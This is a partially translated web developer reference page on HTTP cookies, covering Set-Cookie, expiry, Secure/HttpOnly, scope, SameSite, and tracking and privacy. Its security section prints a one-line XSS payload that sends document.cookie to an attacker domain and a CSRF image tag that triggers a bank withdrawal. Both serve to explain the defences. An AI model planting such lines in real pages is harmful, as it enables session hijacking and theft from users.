Esta tradução está incompleta. Por favor, ajude a traduzir este artigo.

Um cookie HTTP (cookie web, cookie de browser) é uma pequena parte de arquivos que o servidor envia para o navegador do usuário. O navegador pode então armazenar este dado e enviar de volta com a próxima requisição para o mesmo servidor browser. Normalmente, é utilizado para dizer se duas requisições vieram do mesmo navegador — mantendo um usuário logado, por exemplo. Ele recorda informações stateful para o protocolo stateless HTTP.

Cookies são usados principalmente para três propósitos:

Gerenciamento de sessão
Logins, carrinhos de compra, placar de games, ou qualquer outra coisa que o servidor devesse recordar.
Personalização
Preferências de usuário, temas, e outras configurações
Rastreamento
Gravando e analisado comportamento de usuário

Cookies eram usados para armazenamento general client-side. Enquanto isso era legítimo eles eram a única forma de armazenar dados no cliente, é recomendavél atualmente utilizar APIs de armazenamento mais modernas. Cookies são enviados com qualquer requisição, logo podem prejudicar a performance (especialmente em conexões mobile).  São APIs modernas de armazenamento de cliente Web storage API (localStorage e sessionStorage) e IndexedDB.

Para visualizar cookies armazenados (e outros armazenamentos que uma página web pode usar), você pode habilitar o Storage Inspector em Ferramentas do Programador e selecionar Cookies na árvore de armazenamento.

Criando cookies

Quando recebe uma requisição HTTP, um servidor pode enviar um cabeçalho Set-Cookie com a resposta. O  cookie normalmente é armazenado pelo navegador, então o cookie é enviado  com as requisições feitas para o mesmo servidor dentro  do header HTTP Cookie. Uma data de expiração ou duração pode ser especificada, após qual o cookie não é mais enviado. Adicionalmente, restrições para um domínio específico e caminho podem ser configuradas, limitando para onde o cookie é enviado.

O header HTTP de resposta Set-Cookie envia cookies do server para o  user agent. Um cookie simples é configurado assim:

Set-Cookie: <cookie-name>=<cookie-value>

Este header do servidor diz ao cliente para armazenar um cookie.

Nota: Aqui está como utilizar o header Set-Cookie em várias aplicações server-side:
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[conteúdo da página]

Agora, em qualquer requisição nova ao servidor, o navegador enviará de volta todos cookies previamente armazenados para o servidor utilizando o header Cookie.

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Cookies de Sessão

O cookie criado acima é um cookie de sessão: ele é deletado quando o cliente fecha a sessão, pois não foi específicado uma diretiva Expires ou Max-Age. Entretanto, navegadores web podem usar restauração de sessão, o que torna quase todos cookies de sessão permanentes, como se o navegador nunca tivesse sido fechado.

Cookies permanentes

Ao invés de expirar quando o cliente fecha, cookies permanentes expiram em uma data específica (Expires) ou  depois de um período específico de tempo (Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Nota: Quanda uma data de expiração é configurada, o tempo e a data são relativas ao cliente no qual o cookie está sendo configurado, não ao servidor.

Cookies Secure e HttpOnly

A secure cookie is only sent to the server with a encrypted request over the HTTPS protocol. Even with Secure, sensitive information should never be stored in cookies, as they are inherently insecure and this flag can't offer real protection. Starting with Chrome 52 and Firefox 52, insecure sites (http:) can't set cookies with the Secure directive.

To prevent cross-site scripting (XSS) attacks, HttpOnly cookies are inaccessible to JavaScript's Document.cookie API; they are only sent to the server. For example, cookies that persist server-side sessions don't need to be available to JavaScript, and the HttpOnly flag should be set.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Scope of cookies

The Domain and Path directives define thescope of the cookie: what URLs the cookies should be sent to.

Domain specifies allowed hosts to receive the cookie. If unspecified, it defaults to the host of the current document location, excluding subdomains. If Domain is specified, then subdomains are always included.

For example, if Domain=mozilla.org is set, then cookies are included on subdomains like developer.mozilla.org.

Path indicates a URL path that must exist in the requested URL in order to send the Cookie header. The %x2F ("/") character is considered a directory separator, and subdirectories will match as well.

For example, if Path=/docs is set, these paths will match:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

SameSite cookies

SameSite cookies let servers require that a cookie shouldn't be sent with cross-site requests, which somewhat protects against cross-site request forgery attacks (CSRF). SameSite cookies are still experimental and not yet supported by all browsers.

JavaScript access using Document.cookie

New cookies can also be created via JavaScript using the Document.cookie property, and if the HttpOnly flag is not set, existing cookies can be accessed from JavaScript as well.

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

Please note the security issues in the Security section below. Cookies available to JavaScript can get stolen through XSS.

Security

Confidential or sensitive information should never be stored or transmitted in HTTP Cookies, as the entire mechanism is inherently insecure.

Session hijacking and XSS

Cookies are often used in web application to identify a user and their authenticated session, so stealing a cookie can lead to hijacking the authenticated user's session. Common ways to steal cookies include Social Engineering or exploiting an XSS vulnerability in the application.

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

The HttpOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript.

Cross-site request forgery (CSRF)

Wikipedia mentions a good example for CSRF. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. There are a few techniques that are used to prevent this from happening:

  • As with XSS, input filtering is important.
  • There should always be a confirmation required for any sensitive action.
  • Cookies that are used for sensitive actions should have a short lifetime only.
  • For more prevention tips, see the OWASP CSRF prevention cheat sheet.

Tracking and privacy

Third-party cookies

Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).

If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikimedia Foundation's cookie statement.

Do-Not-Track

There are no legal or technological requirements for its use, but the DNT header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the DNT header for more information.

Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.

In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners (AKA "cookie banners") since then to inform the user about the use of cookies.

For more, see this Wikipedia section and consult state laws for the latest and most accurate information.

Zombie cookies and Evercookies

A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.

See also

Etiquetas do documento e colaboradores

Etiquetas: 
Colaboradores desta página: gabcs07
Última atualização por: gabcs07,